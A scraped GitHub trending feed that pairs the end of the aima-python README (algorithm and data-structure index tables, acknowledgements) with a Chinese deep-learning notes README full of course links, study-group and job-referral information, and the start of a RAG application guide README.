<tr> <td align="left">4.5</td> <td align="left">Simulated-Annealing</td> <td align="left"><code>simulated_annealing</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">4.8</td> <td align="left">Genetic-Algorithm</td> <td align="left"><code>genetic_algorithm</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">4.11</td> <td align="left">And-Or-Graph-Search</td> <td align="left"><code>and_or_graph_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">4.21</td> <td align="left">Online-DFS-Agent</td> <td align="left"><code>online_dfs_agent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">4.24</td> <td align="left">LRTA*-Agent</td> <td align="left"><code>LRTAStarAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">5.3</td> <td align="left">Minimax-Decision</td> <td align="left"><code>minimax_decision</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/games.py"><code>games.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">5.7</td> <td align="left">Alpha-Beta-Search</td> <td align="left"><code>alphabeta_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/games.py"><code>games.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">6</td> <td align="left">CSP</td> <td align="left"><code>CSP</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/csp.py"><code>csp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">6.3</td> <td align="left">AC-3</td> <td align="left"><code>AC3</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/csp.py"><code>csp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">6.5</td> <td align="left">Backtracking-Search</td> <td align="left"><code>backtracking_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/csp.py"><code>csp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">6.8</td> <td align="left">Min-Conflicts</td> <td align="left"><code>min_conflicts</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/csp.py"><code>csp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">6.11</td> <td align="left">Tree-CSP-Solver</td> <td align="left"><code>tree_csp_solver</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/csp.py"><code>csp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7</td> <td align="left">KB</td> <td align="left"><code>KB</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7.1</td> <td align="left">KB-Agent</td> <td align="left"><code>KB_AgentProgram</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7.7</td> <td align="left">Propositional Logic Sentence</td> <td align="left"><code>Expr</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/utils.py"><code>utils.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7.10</td> <td align="left">TT-Entails</td> <td align="left"><code>tt_entails</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7.12</td> <td align="left">PL-Resolution</td> <td align="left"><code>pl_resolution</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7.14</td> <td align="left">Convert to CNF</td> <td align="left"><code>to_cnf</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7.15</td> <td align="left">PL-FC-Entails?</td> <td align="left"><code>pl_fc_entails</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7.17</td> <td align="left">DPLL-Satisfiable?</td> <td align="left"><code>dpll_satisfiable</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7.18</td> <td align="left">WalkSAT</td> <td align="left"><code>WalkSAT</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">7.20</td> <td align="left">Hybrid-Wumpus-Agent</td> <td align="left"><code>HybridWumpusAgent</code></td> <td align="left"></td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left">7.22</td> <td align="left">SATPlan</td> <td align="left"><code>SAT_plan</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">9</td> <td align="left">Subst</td> <td align="left"><code>subst</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">9.1</td> <td align="left">Unify</td> <td align="left"><code>unify</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">9.3</td> <td align="left">FOL-FC-Ask</td> <td align="left"><code>fol_fc_ask</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">9.6</td> <td align="left">FOL-BC-Ask</td> <td align="left"><code>fol_bc_ask</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">10.1</td> <td align="left">Air-Cargo-problem</td> <td align="left"><code>air_cargo</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">10.2</td> <td align="left">Spare-Tire-Problem</td> <td align="left"><code>spare_tire</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">10.3</td> <td align="left">Three-Block-Tower</td> <td align="left"><code>three_block_tower</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">10.7</td> <td align="left">Cake-Problem</td> <td align="left"><code>have_cake_and_eat_cake_too</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">10.9</td> <td align="left">Graphplan</td> <td align="left"><code>GraphPlan</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">10.13</td> <td align="left">Partial-Order-Planner</td> <td align="left"><code>PartialOrderPlanner</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">11.1</td> <td align="left">Job-Shop-Problem-With-Resources</td> <td align="left"><code>job_shop_problem</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">11.5</td> <td align="left">Hierarchical-Search</td> <td align="left"><code>hierarchical_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">11.8</td> <td align="left">Angelic-Search</td> <td align="left"><code>angelic_search</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">11.10</td> <td align="left">Doubles-tennis</td> <td align="left"><code>double_tennis_problem</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/planning.py"><code>planning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">13</td> <td align="left">Discrete Probability Distribution</td> <td align="left"><code>ProbDist</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">13.1</td> <td align="left">DT-Agent</td> <td align="left"><code>DTAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">14.9</td> <td align="left">Enumeration-Ask</td> <td align="left"><code>enumeration_ask</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">14.11</td> <td align="left">Elimination-Ask</td> <td align="left"><code>elimination_ask</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">14.13</td> <td align="left">Prior-Sample</td> <td align="left"><code>prior_sample</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">14.14</td> <td align="left">Rejection-Sampling</td> <td align="left"><code>rejection_sampling</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">14.15</td> <td align="left">Likelihood-Weighting</td> <td align="left"><code>likelihood_weighting</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">14.16</td> <td align="left">Gibbs-Ask</td> <td align="left"><code>gibbs_ask</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">15.4</td> <td align="left">Forward-Backward</td> <td align="left"><code>forward_backward</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">15.6</td> <td align="left">Fixed-Lag-Smoothing</td> <td align="left"><code>fixed_lag_smoothing</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">15.17</td> <td align="left">Particle-Filtering</td> <td align="left"><code>particle_filtering</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">16.9</td> <td align="left">Information-Gathering-Agent</td> <td align="left"><code>InformationGatheringAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">17.4</td> <td align="left">Value-Iteration</td> <td align="left"><code>value_iteration</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/mdp.py"><code>mdp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">17.7</td> <td align="left">Policy-Iteration</td> <td align="left"><code>policy_iteration</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/mdp.py"><code>mdp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">17.9</td> <td align="left">POMDP-Value-Iteration</td> <td align="left"><code>pomdp_value_iteration</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/mdp.py"><code>mdp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">18.5</td> <td align="left">Decision-Tree-Learning</td> <td align="left"><code>DecisionTreeLearner</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/learning.py"><code>learning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">18.8</td> <td align="left">Cross-Validation</td> <td align="left"><code>cross_validation</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/learning.py"><code>learning.py</code></a>*</td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left">18.11</td> <td align="left">Decision-List-Learning</td> <td align="left"><code>DecisionListLearner</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/learning.py"><code>learning.py</code></a>*</td> <td align="left"></td> <td align="left"></td> </tr> <tr> <td align="left">18.24</td> <td align="left">Back-Prop-Learning</td> <td align="left"><code>BackPropagationLearner</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/learning.py"><code>learning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">18.34</td> <td align="left">AdaBoost</td> <td align="left"><code>AdaBoost</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/learning.py"><code>learning.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">19.2</td> <td align="left">Current-Best-Learning</td> <td align="left"><code>current_best_learning</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/knowledge.py"><code>knowledge.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">19.3</td> <td align="left">Version-Space-Learning</td> <td align="left"><code>version_space_learning</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/knowledge.py"><code>knowledge.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">19.8</td> <td align="left">Minimal-Consistent-Det</td> <td align="left"><code>minimal_consistent_det</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/knowledge.py"><code>knowledge.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">19.12</td> <td align="left">FOIL</td> <td align="left"><code>FOIL_container</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/knowledge.py"><code>knowledge.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">21.2</td> <td align="left">Passive-ADP-Agent</td> <td align="left"><code>PassiveADPAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/rl.py"><code>rl.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">21.4</td> <td align="left">Passive-TD-Agent</td> <td align="left"><code>PassiveTDAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/rl.py"><code>rl.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">21.8</td> <td align="left">Q-Learning-Agent</td> <td align="left"><code>QLearningAgent</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/rl.py"><code>rl.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">22.1</td> <td align="left">HITS</td> <td align="left"><code>HITS</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/nlp.py"><code>nlp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">23</td> <td align="left">Chart-Parse</td> <td align="left"><code>Chart</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/nlp.py"><code>nlp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">23.5</td> <td align="left">CYK-Parse</td> <td align="left"><code>CYK_parse</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/nlp.py"><code>nlp.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> <tr> <td align="left">25.9</td> <td align="left">Monte-Carlo-Localization</td> <td align="left"><code>monte_carlo_localization</code></td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/probability.py"><code>probability.py</code></a></td> <td align="left">Done</td> <td align="left">Included</td> </tr> </tbody> </table> <h1>Index of data structures</h1> <p>Here is a table of the implemented data structures, the figure, name of the implementation in the repository, and the file where they are implemented.</p> <table> <thead> <tr> <th align="left"><strong>Figure</strong></th> <th align="left"><strong>Name (in repository)</strong></th> <th align="left"><strong>File</strong></th> </tr> </thead> <tbody> <tr> <td align="left">3.2</td> <td align="left">romania_map</td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> </tr> <tr> <td align="left">4.9</td> <td align="left">vacumm_world</td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> </tr> <tr> <td align="left">4.23</td> <td align="left">one_dim_state_space</td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> </tr> <tr> <td align="left">6.1</td> <td align="left">australia_map</td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/search.py"><code>search.py</code></a></td> </tr> <tr> <td align="left">7.13</td> <td align="left">wumpus_world_inference</td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> </tr> <tr> <td align="left">7.16</td> <td align="left">horn_clauses_KB</td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/logic.py"><code>logic.py</code></a></td> </tr> <tr> <td align="left">17.1</td> <td align="left">sequential_decision_environment</td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/mdp.py"><code>mdp.py</code></a></td> </tr> <tr> <td align="left">18.2</td> <td align="left">waiting_decision_tree</td> <td align="left"><a href="https://raw.githubusercontent.com/aimacode/aima-python/master/learning.py"><code>learning.py</code></a></td> </tr> </tbody> </table> <h1>Acknowledgements</h1> <p>Many thanks for contributions over the years. I got bug reports, corrected code, and other support from Darius Bacon, Phil Ruggera, Peng Shao, Amit Patil, Ted Nienstedt, Jim Martin, Ben Catanzariti, and others. Now that the project is on GitHub, you can see the <a href="https://github.com/aimacode/aima-python/graphs/contributors">contributors</a> who are doing a great job of actively improving the project. Many thanks to all contributors, especially <a href="https://github.com/darius">@darius</a>, <a href="https://github.com/SnShine">@SnShine</a>, <a href="https://github.com/reachtarunhere">@reachtarunhere</a>, <a href="https://github.com/antmarakis">@antmarakis</a>, <a href="https://github.com/Chipe1">@Chipe1</a>, <a href="https://github.com/ad71">@ad71</a> and <a href="https://github.com/MariannaSpyrakou">@MariannaSpyrakou</a>.</p> <!--Reference Links--> - - - AccumulateMore/CV - 2023-09-24T01:54:10Z - tag:github.com,2023-09-24:/AccumulateMore/CV - - <p>✔(已完结)最全面的 深度学习 笔记【土堆 Pytorch】【李沐 动手学深度学习】【吴恩达 深度学习】</p><hr><h1>最全面的 深度学习 笔记</h1> <p>Pytorch 视频讲解【主讲人:土堆】【对应笔记:100-122】</p> <ol> <li><a href="https://www.bilibili.com/video/BV1hE411t7RN?spm_id_from=333.337.search-card.all.click">https://www.bilibili.com/video/BV1hE411t7RN?spm_id_from=333.337.search-card.all.click</a></li> </ol> <p>深度学习 视频讲解【主讲人:李沐】【对应笔记:200-268】</p> <ol> <li><a href="https://space.bilibili.com/1567748478/channel/seriesdetail?sid=358497">https://space.bilibili.com/1567748478/channel/seriesdetail?sid=358497</a></li> </ol> <p>深度学习 视频讲解【主讲人:吴恩达】【对应笔记:300-354】</p> <ol> <li><a href="https://www.bilibili.com/video/BV1FT4y1E74V?spm_id_from=333.337.search-card.all.click&amp;vd_source=c9745e4447536b28b2b0735071d30bd6">https://www.bilibili.com/video/BV1FT4y1E74V?spm_id_from=333.337.search-card.all.click&amp;vd_source=c9745e4447536b28b2b0735071d30bd6</a></li> </ol> <p>土堆&amp;李沐&amp;吴恩达 数据集:</p> <ol> <li>链接:<a href="https://pan.baidu.com/s/1Fjw3o1Jr_-yOabpXyLXLNA">https://pan.baidu.com/s/1Fjw3o1Jr_-yOabpXyLXLNA</a> 提取码:eal7</li> </ol> <p>备注:</p> <ol> <li>在线观看笔记时,有时会出现图片(或公式)显示不完整,这是Github网站没有解析好,笔记下载到本地观看就正常了。不会下载笔记的,百度查一下"Github如何下载文件"。</li> <li>笔记是用 Anaconda 的 Jupyter Notebook 打开的,不会打开的,百度查一下"Anaconda如何打开jupyter notebook文件",或者我的主页Python仓库里面"00_Python编辑器"里面有写。</li> <li>安装 Jupyter Notebook 的目录插件,可以快速通过目录,跳转到相应的章节,如下图所示。不会安装目录的,百度查一下"jupyter notebook如何安装目录",或者我的主页Python仓库里面"00_Python编辑器"里面有相关链接。</li> </ol> <p><img src="https://github.com/AccumulateMore/CV/assets/60348867/20b6a8e9-ad05-4940-93b9-ab63dc75bb7b" alt="ae3cce2d56a4953972ed4201c085722"></p> <p>补充:</p> <p>我的Github主页,还有其他优秀视频的笔记,希望能帮助到你~~</p> <ol> <li><a href="https://github.com/AccumulateMore">https://github.com/AccumulateMore</a></li> </ol> <p>我的知乎主页,还有其他领域的笔记,希望能帮助到你~~</p> <ol> <li><a href="https://www.zhihu.com/people/bao-bei-ru-huai">https://www.zhihu.com/people/bao-bei-ru-huai</a></li> </ol> <p>"♥我的笔记,希望对你有帮助♥"</p> <p>♥小声哔哔:你的star,是我更新的动力~♥</p> <hr> <hr> <p>搭建交流群,帮助孤单的自学者交流</p> <table> <thead> <tr> <th>【深度学习 学习交流①群】</th> <th>【深度学习 学习交流②群】</th> <th>微信</th> </tr> </thead> <tbody> <tr> <td><img src="https://github.com/AccumulateMore/CV/assets/60348867/c99750a2-89c0-45ed-bf42-e8f63a222d60" alt="312f346ad393a2f617f21da7ffec9d8"><br></td> <td><img src="https://github.com/AccumulateMore/CV/assets/60348867/d6c44e7b-8349-4de3-b91b-ed62ee7c1544" alt="2f44c2648aaf04f393162501e9e4e0a"><br></td> <td><img src="https://github.com/AccumulateMore/CV/assets/60348867/0d3f05f6-ba72-4a1d-9c5b-6d5f0c8eb8f8" alt="ad9bc1ef4eccf11a0e521dec10968d3"><br></td> </tr> </tbody> </table> <p>看人之短,天下无一可交之人。看人之长,世间一切皆是吾师。</p> <p>补充说明:本人仅搭建并管理群【发广告踢】,不在群内答疑,群友互相交流答疑。</p> <hr> <hr> <p>帮朋友内推,帮你们就业,有意向的可以投简历</p> <p>联影医疗 地点(自选):上海、北京、深圳、武汉、广州、成都、西安、沈阳、三亚等</p> <p>内推人:联影老员工</p> <p>内推入口(校招、社招):<a href="https://neitui.italent.cn/united-imaging/sharejobs?shareId=9d052226-87e4-4fb9-942b-f6f83abfb1cd">https://neitui.italent.cn/united-imaging/sharejobs?shareId=9d052226-87e4-4fb9-942b-f6f83abfb1cd</a></p> <p>岗位职责:</p> <p>参与联影集团产品的AI算法开发工作或图形算法开发工作,负责下列至少一项工作:</p> <ol> <li>负责提供产品级高端算法解决方案,包括:联影通用软件平台、联影高级应用后处理工作站、联影智能uAl平台、联影机器人手术规划与导航、MR/CT/RT/MI/US事业部的算法需求、科研院所和医院的前瞻性研究项目等;参与创新技术的产品化工作。</li> <li>医学图像3D渲染算法和应用维护与开发,利用图像处理和人工智能技术,从事医学图像处理领域相关算法的设计和研发。</li> </ol> <p>任职要求:</p> <ol> <li>熟悉机器视觉原理,熟悉以下领域之一:3D重建、立体视觉、SLAM、通用图像视频分类、目标检测、人体姿态估计。</li> <li>熟悉以下医学图像后处理算法之一:图形算法、重建算法、分割算法、检测算法、分类算法、配准算法、深度学习算法、流体力学算法、灌注算法、纹理分析算法等。</li> </ol> <p>岗位职责:</p> <ol> <li>负责音频信号处理和识别相关算法的研究和实现,包含但不限于回声消除、麦克风阵列、盲源分离等技术。</li> <li>负责深度学习、神经网络等AI音频算法的研究和实现。</li> </ol> <p>任职要求:</p> <ol> <li>扎实的数学理论及数字信号处理基础,掌握Matlab及C/C++语言编程。</li> <li>有语音、音频信号处理(降噪,回声消除、麦阵、音效等)相关经验者。</li> <li>有深度学习、神经网络、智能语音识别相关研究。</li> </ol> <p>岗位职责:</p> <ol> <li>负责大语言模型方面的算法开发、优化、应用落地。</li> <li>负责相应AI解决方案设计,参与关键技术研发,攻关技术难点。</li> <li>负责设计和实现大语言模型相关的算法和模型实现,研究并设计新是算法和模型,解决大语言模型应用问题。</li> <li>负责开发和优化大语言模型的训练过程,设计并实现大语言模型的训练算法和策略,配置和优化训练的超参数和计算资源,保证模型的训练效果和效率。</li> <li>负责构建和管理大规模医疗文本数据集,用于模型预训练和微调,完成不用场景下的下游任务。</li> <li>负责进行大语言模型的评估和验证,设计评估指标和实验;设计和实施评估指标和实验,对训练好的大语言模型进行性能评估和分析。识别模型的弱点和改进空间,提出相应的改进策略和方法。</li> <li>参与高校、科研、医疗机构科研合作,协助科研成果落地转化。</li> </ol> <p>任职要求:</p> <ol> <li>具有机器学习、自然语言处理、医学影像分析,或相关领域的学习和研究。</li> <li>有预训练大语言模型或GPT模型等相关研究开发经验。</li> <li>在机器学习(ICML,NeurlPS、ICLR等)、计算机视觉(CVPR、ICCV、ECCV等)、自然语言处理(ACL,EMN LP等)和医疗影像分析(MICCAI、IPMI)等顶级会议,或者顶级期刊(IEEE T-PAMI,IEEE TMI、Medical lmage An alysis)发表过相关论文。</li> <li>具有人工智能相关专业(计算机视觉、机器学习、医疗图像分析等)硕士及以上学位。</li> <li>能熟练使用英语。</li> </ol> <p>合众汽车(自动驾驶部门) 地点:上海</p> <p>内推人:项目组某leader</p> <p>岗位职责:</p> <ol> <li>负责智能驾驶检测跟踪及相关方向的算法研发工作。</li> <li>工作内容包括但不限于:基于图像的物体检测跟踪,交通标志/标线检测。</li> </ol> <p>任职要求:</p> <ol> <li>熟悉常用的深度学习框架,有实际的深度学习模型设计训练经验。</li> <li>具备扎实的编程能力,熟练掌握C++编程语言。</li> </ol> <p>备注:</p> <ol> <li>初学者也可以根据市场上就业需求,去学习自己。</li> <li>能内推简历的,也可以联系我,把岗位职责、任职要求发给我【你收公司内推奖金、ta们就业,双赢】。</li> </ol> <hr> <hr> <p>提供简历指导服务,指导写项目经历、教育经历、自我评价等</p> <p><img src="https://github.com/AccumulateMore/CV/assets/60348867/5b13bb46-b426-4144-a5fd-340f75f668f3" alt="UVCkSLQLig"></p> <p>以前我毕业时,技能书写,可以借鉴</p> <p>用了几个技巧,分享给大家:</p> <ol> <li>技能只写掌握了XX,没掌握不要写,掌握且更熟练的放前面,掌握但不熟练的放后面。</li> <li>写掌握某项技能时,后面要论证自己真的掌握了,提供相关经历,方便面试官切入询问。</li> <li>围绕算法岗展开技能阐述,从编程语言、到深度学习框架、到图像处理算法、服务器数据库存储图像等。</li> <li>只写岗位需要的技能,与算法岗不需要的硬件知识、组织能力等不要写,让简历更高匹配算法岗。</li> <li>掌握一种类别技能,只占一行,不要有的两行、有的一行,看着不整齐。</li> </ol> <p>面试官及HR会看着感觉整齐、可信、岗位匹配度高。</p> <p>"♥君子藏器于身,待时而动……♥"</p> <hr> <hr> <p>"♥我们读书是为了成为提灯人去照亮黑暗,而不是为了自己有灯而沾沾自喜还要去吹灭别人的蜡烛♥"</p> - - - ray-project/llm-applications - 2023-09-24T01:54:10Z - tag:github.com,2023-09-24:/ray-project/llm-applications - - <p>A comprehensive guide to building RAG-based LLM applications for production.</p><hr><h1>LLM Applications</h1> <p>A comprehensive guide to building RAG-based LLM applications for production.</p> <ul> <li><strong>Blog post</strong>: <a href="https://www.anyscale.com/blog/a-comprehensive-guide-for-building-rag-based-llm-applications-part-1">https://www.anyscale.com/blog/a-comprehensive-guide-for-building-rag-based-llm-applications-part-1</a></li> <li><strong>GitHub repository</strong>: <a 